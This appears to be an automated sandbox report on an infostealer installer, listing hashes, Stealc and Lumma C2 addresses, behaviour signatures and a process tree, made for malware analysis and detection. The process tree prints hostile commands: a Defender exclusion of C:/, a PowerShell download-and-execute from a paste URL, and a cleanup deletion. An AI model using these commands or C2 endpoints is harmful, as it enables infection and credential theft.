Analysis

  • max time kernel
    138s
  • max time network
    143s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240802-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
  • submitted
    17/08/2024, 13:22

General

  • Target

    Install_x64.exe

  • Size

    152.8MB

  • MD5

    604062d27cc339e78ea521fe9006d644

  • SHA1

    170592ee65755f0d3dc182cd4868f114654dbf65

  • SHA256

    b04ea53d801862b98b10c1f83d899fdbb6f8685f02723dc11c26d5aea2abf9ad

  • SHA512

    34c4b9d53d09e6a9834dd1188c8ccb98f485478f45707ec17b9f898e2b328e2310d9c7339850b491de442111131c27918ac46eaa9b7001ce3306e7f9fffd2f3b

  • SSDEEP

    786432:dt20SZkMhfqpHCOdRIeoxOTx9ylnEk2Fd7yLie63pk3lLwmYEDz:dtKZkMMi5w9qEn7S6S3zY+

Malware Config

Extracted

Family

stealc

Botnet

mainteam

C2

http://147.45.47.68

Attributes
  • url_path

    /a8f961c72f0d877c.php

Extracted

Family

lumma

C2

https://samledwwekspzxp.shop/api

https://writerospzm.shop/api

https://deallerospfosu.shop/api

https://bassizcellskz.shop/api

https://languagedscie.shop/api

https://complaintsipzzx.shop/api

https://quialitsuzoxm.shop/api

https://tenntysjuxmz.shop/api

Signatures

  • Lumma Stealer, LummaC

    Lumma or LummaC is an infostealer written in C++ first seen in August 2022.

  • Stealc

    Stealc is an infostealer written in C++.

  • Credentials from Password Stores: Credentials from Web Browsers 1 TTPs

    Malicious Access or copy of Web Browser Credential store.

  • Blocklisted process makes network request 3 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Powershell Invoke Web Request.

  • Downloads MZ/PE file
  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 5 IoCs
  • Unsecured Credentials: Credentials In Files 1 TTPs

    Steal credentials from unsecured files.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Indicator Removal: File Deletion 1 TTPs

    Adversaries may delete files left behind by the actions of their intrusion activity.

  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Suspicious use of SetThreadContext 3 IoCs
  • Drops file in Program Files directory 3 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 6 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Suspicious behavior: EnumeratesProcesses 37 IoCs
  • Suspicious use of AdjustPrivilegeToken 29 IoCs
  • Suspicious use of WriteProcessMemory 32 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\Install_x64.exe
    "C:\Users\Admin\AppData\Local\Temp\Install_x64.exe"
    1⤵
    • Loads dropped DLL
    • Drops file in Program Files directory
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1976
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" Add-MpPreference -ExclusionPath 'C:/'
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:5060
    • C:\Program Files\launcher289\1.exe
      "C:\Program Files\launcher289\1.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious use of SetThreadContext
      • Suspicious use of WriteProcessMemory
      PID:1256
      • C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
        C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
        3⤵
        • System Location Discovery: System Language Discovery
        PID:3316
    • C:\Program Files\launcher289\2.exe
      "C:\Program Files\launcher289\2.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious use of SetThreadContext
      • Suspicious use of WriteProcessMemory
      PID:3800
      • C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
        C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
        3⤵
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        • Checks processor information in registry
        • Suspicious behavior: EnumeratesProcesses
        PID:1696
    • C:\Program Files\launcher289\3.exe
      "C:\Program Files\launcher289\3.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious use of SetThreadContext
      • Suspicious use of WriteProcessMemory
      PID:4584
      • C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
        C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:3296
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          powershell -ep bypass "Invoke-Command -ScriptBlock ( [ScriptBlock]::Create( ( Invoke-WebRequest -UseBasicParsing -URI "https://pst.innomi.net/paste/42zzhcyga7s4bd9fnjp33ojb/raw" ) ) )
          4⤵
          • Blocklisted process makes network request
          • Command and Scripting Interpreter: PowerShell
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:3584
          • C:\Windows\SysWOW64\whoami.exe
            "C:\Windows\system32\whoami.exe" /groups /fo csv
            5⤵
            • System Location Discovery: System Language Discovery
            • Suspicious use of AdjustPrivilegeToken
            PID:1688
        • C:\Windows\SysWOW64\cmd.exe
          cmd.exe /c del /f /q "C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe"
          4⤵
          • System Location Discovery: System Language Discovery
          PID:4828
  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --field-trial-handle=4288,i,5469445176230119590,7931734017267321834,262144 --variations-seed-version --mojo-platform-channel-handle=1040 /prefetch:8
    1⤵
      PID:4068
    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --field-trial-handle=2784,i,5469445176230119590,7931734017267321834,262144 --variations-seed-version --mojo-platform-channel-handle=2300 /prefetch:3
      1⤵
        PID:2732

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Program Files\launcher289\1.exe

        Filesize

        14.7MB

        MD5

        5adc47bd66220da66be8718dad043366

        SHA1

        c695f75042fff4b70ee5de4bf1b2423f00063fe3

        SHA256

        758382fde10eee890288cc7fc0bc85c1084121cba661475ffed5e1563da2d672

        SHA512

        3f89d539c532a025150501115bcd9469006789d48d916856072c9dd7dee314f4f9d8db43b65d3591ac1229fdfaa656d945980de0c65546ae33ff1ddd002ece9c

      • C:\Program Files\launcher289\2.exe

        Filesize

        14.7MB

        MD5

        87df56dc9bd0be55cefb34ba3c0d9722

        SHA1

        165d874d97709f9ff0ff00c99118928d6c00b3b1

        SHA256

        41de8f15455692a25a3e4b58ce7343510e2acd156af7558d260ea4cc6cab30cc

        SHA512

        65a193e57654bb5f04b551b2693812930e7fbcecb096db63d177f254681dd9d5cb139ec759a4123960a4d242031d0f014aed4a87d6a58a35dae656b626f7ac89

      • C:\Program Files\launcher289\3.exe

        Filesize

        14.3MB

        MD5

        c5d969269d4f14988e87cd148d94dade

        SHA1

        0a7d242d9bd4ca665f030e63b4cb5e9f0c0363ca

        SHA256

        f9cb138805394c5af90ab786cf1a393e5942a16cc06d06a23ae999e72cfb2f27

        SHA512

        799b8a363b2b1b5d6b42c54d8e24d2343e49f2c47e158d8887bd08b7f67b9dcbd06d7135de1546f5cd64e864582e75b56058b5de3760cbaf7e927a3e86af6373

      • C:\ProgramData\mozglue.dll

        Filesize

        593KB

        MD5

        c8fd9be83bc728cc04beffafc2907fe9

        SHA1

        95ab9f701e0024cedfbd312bcfe4e726744c4f2e

        SHA256

        ba06a6ee0b15f5be5c4e67782eec8b521e36c107a329093ec400fe0404eb196a

        SHA512

        fbb446f4a27ef510e616caad52945d6c9cc1fd063812c41947e579ec2b54df57c6dc46237ded80fca5847f38cbe1747a6c66a13e2c8c19c664a72be35eb8b040

      • C:\ProgramData\nss3.dll

        Filesize

        2.0MB

        MD5

        1cc453cdf74f31e4d913ff9c10acdde2

        SHA1

        6e85eae544d6e965f15fa5c39700fa7202f3aafe

        SHA256

        ac5c92fe6c51cfa742e475215b83b3e11a4379820043263bf50d4068686c6fa5

        SHA512

        dd9ff4e06b00dc831439bab11c10e9b2ae864ea6e780d3835ea7468818f35439f352ef137da111efcdf2bb6465f6ca486719451bf6cf32c6a4420a56b1d64571

      • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports

        Filesize

        2B

        MD5

        d751713988987e9331980363e24189ce

        SHA1

        97d170e1550eee4afc0af065b78cda302a97674c

        SHA256

        4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945

        SHA512

        b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af

      • C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries

        Filesize

        40B

        MD5

        20d4b8fa017a12a108c87f540836e250

        SHA1

        1ac617fac131262b6d3ce1f52f5907e31d5f6f00

        SHA256

        6028bd681dbf11a0a58dde8a0cd884115c04caa59d080ba51bde1b086ce0079d

        SHA512

        507b2b8a8a168ff8f2bdafa5d9d341c44501a5f17d9f63f3d43bd586bc9e8ae33221887869fa86f845b7d067cb7d2a7009efd71dda36e03a40a74fee04b86856

      • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

        Filesize

        944B

        MD5

        6c47b3f4e68eebd47e9332eebfd2dd4e

        SHA1

        67f0b143336d7db7b281ed3de5e877fa87261834

        SHA256

        8c48b1f2338e5b24094821f41121d2221f1cb3200338f46df49f64d1c4bc3e0c

        SHA512

        0acf302a9fc971ef9df65ed42c47ea17828e54dff685f4434f360556fd27cdc26a75069f00dcdc14ba174893c6fd7a2cfd8c6c07be3ce35dafee0a006914eaca

      • C:\Users\Admin\AppData\Local\Temp\.net\Install_x64\sklkeq11.zzg\D3DCompiler_47_cor3.dll

        Filesize

        4.7MB

        MD5

        a7349236212b0e5cec2978f2cfa49a1a

        SHA1

        5abb08949162fd1985b89ffad40aaf5fc769017e

        SHA256

        a05d04a270f68c8c6d6ea2d23bebf8cd1d5453b26b5442fa54965f90f1c62082

        SHA512

        c7ff4f9146fefedc199360aa04236294349c881b3865ebc58c5646ad6b3f83fca309de1173f5ebf823a14ba65e5ada77b46f20286d1ea62c37e17adbc9a82d02

      • C:\Users\Admin\AppData\Local\Temp\.net\Install_x64\sklkeq11.zzg\PresentationNative_cor3.dll

        Filesize

        1.2MB

        MD5

        e67dff697095b778ab6b76229c005811

        SHA1

        88a54a3e3ff2bf83a76bbf5df8a0e50bdb36bcdc

        SHA256

        e92b997f6f3a10b43d3fdc7743307228aa3b0a43430af60ccb06efa154d37e6a

        SHA512

        6f2a2bbbfa0464537fccb53d40239a294dca8fd477e79d70cd9f74079da48525a300675d3b0daae292432adbb9dd099fd4dc95b6fe2794f4c5f3a7e56e15ef51

      • C:\Users\Admin\AppData\Local\Temp\.net\Install_x64\sklkeq11.zzg\wpfgfx_cor3.dll

        Filesize

        1.9MB

        MD5

        24ea1814e6701927b9c714e0a4c3c185

        SHA1

        95c27a6b1f5927e3021cb6f9d5ef5998b2c4560a

        SHA256

        d2ebedc0004d5e336c6092e417c11c051767c7dcbcb80303f3484fd805e084ae

        SHA512

        d6c2f32818970d989c834babeac1ce845e832b853ce1c0b3f7ecbfd41331b7d519461bcc0ef07fd35382f263b9e26ac47bb22f0370071913900fc40e3e2656f2

      • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_cxu2efzh.4fl.ps1

        Filesize

        60B

        MD5

        d17fe0a3f47be24a6453e9ef58c94641

        SHA1

        6ab83620379fc69f80c0242105ddffd7d98d5d9d

        SHA256

        96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

        SHA512

        5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

      • memory/1256-39-0x00007FF7C2160000-0x00007FF7C30B5000-memory.dmp

        Filesize

        15.3MB

      • memory/1256-44-0x00007FF7C2160000-0x00007FF7C30B5000-memory.dmp

        Filesize

        15.3MB

      • memory/1256-33-0x00007FF7C2160000-0x00007FF7C30B5000-memory.dmp

        Filesize

        15.3MB

      • memory/1696-52-0x00000000012C0000-0x0000000001503000-memory.dmp

        Filesize

        2.3MB

      • memory/1696-51-0x00000000012C0000-0x0000000001503000-memory.dmp

        Filesize

        2.3MB

      • memory/1696-54-0x0000000061E00000-0x0000000061EF3000-memory.dmp

        Filesize

        972KB

      • memory/3296-139-0x0000000001210000-0x0000000001233000-memory.dmp

        Filesize

        140KB

      • memory/3296-141-0x0000000001210000-0x0000000001233000-memory.dmp

        Filesize

        140KB

      • memory/3316-45-0x0000000000AD0000-0x0000000000B2D000-memory.dmp

        Filesize

        372KB

      • memory/3316-43-0x0000000000AD0000-0x0000000000B2D000-memory.dmp

        Filesize

        372KB

      • memory/3584-160-0x00000000077A0000-0x0000000007E1A000-memory.dmp

        Filesize

        6.5MB

      • memory/3584-161-0x0000000006490000-0x00000000064AA000-memory.dmp

        Filesize

        104KB

      • memory/3584-269-0x0000000009920000-0x00000000099B2000-memory.dmp

        Filesize

        584KB

      • memory/3584-169-0x0000000004CC0000-0x0000000004CD2000-memory.dmp

        Filesize

        72KB

      • memory/3584-167-0x0000000009E30000-0x000000000A3D4000-memory.dmp

        Filesize

        5.6MB

      • memory/3584-166-0x0000000007650000-0x0000000007672000-memory.dmp

        Filesize

        136KB

      • memory/3584-165-0x00000000076A0000-0x0000000007736000-memory.dmp

        Filesize

        600KB

      • memory/3584-164-0x0000000008FF0000-0x00000000091B2000-memory.dmp

        Filesize

        1.8MB

      • memory/3584-163-0x0000000009350000-0x000000000987C000-memory.dmp

        Filesize

        5.2MB

      • memory/3584-142-0x0000000004990000-0x00000000049C6000-memory.dmp

        Filesize

        216KB

      • memory/3584-143-0x0000000005040000-0x0000000005668000-memory.dmp

        Filesize

        6.2MB

      • memory/3584-144-0x0000000004FC0000-0x0000000004FE2000-memory.dmp

        Filesize

        136KB

      • memory/3584-145-0x00000000058A0000-0x0000000005906000-memory.dmp

        Filesize

        408KB

      • memory/3584-146-0x0000000005910000-0x0000000005976000-memory.dmp

        Filesize

        408KB

      • memory/3584-156-0x0000000005980000-0x0000000005CD4000-memory.dmp

        Filesize

        3.3MB

      • memory/3584-162-0x0000000007580000-0x000000000758A000-memory.dmp

        Filesize

        40KB

      • memory/3584-158-0x0000000005F50000-0x0000000005F6E000-memory.dmp

        Filesize

        120KB

      • memory/3584-159-0x0000000005F90000-0x0000000005FDC000-memory.dmp

        Filesize

        304KB

      • memory/3800-46-0x00007FF7EF740000-0x00007FF7F0661000-memory.dmp

        Filesize

        15.1MB

      • memory/3800-53-0x00007FF7EF740000-0x00007FF7F0661000-memory.dmp

        Filesize

        15.1MB

      • memory/4584-140-0x00007FF6BA450000-0x00007FF6BB338000-memory.dmp

        Filesize

        14.9MB

      • memory/4584-138-0x00007FF6BA450000-0x00007FF6BB338000-memory.dmp

        Filesize

        14.9MB

      • memory/4584-133-0x00007FF6BA450000-0x00007FF6BB338000-memory.dmp

        Filesize

        14.9MB

      • memory/5060-25-0x00007FFC72E90000-0x00007FFC73951000-memory.dmp

        Filesize

        10.8MB

      • memory/5060-13-0x00007FFC72E93000-0x00007FFC72E95000-memory.dmp

        Filesize

        8KB

      • memory/5060-28-0x00007FFC72E90000-0x00007FFC73951000-memory.dmp

        Filesize

        10.8MB

      • memory/5060-19-0x0000023F03570000-0x0000023F03592000-memory.dmp

        Filesize

        136KB

      • memory/5060-24-0x00007FFC72E90000-0x00007FFC73951000-memory.dmp

        Filesize

        10.8MB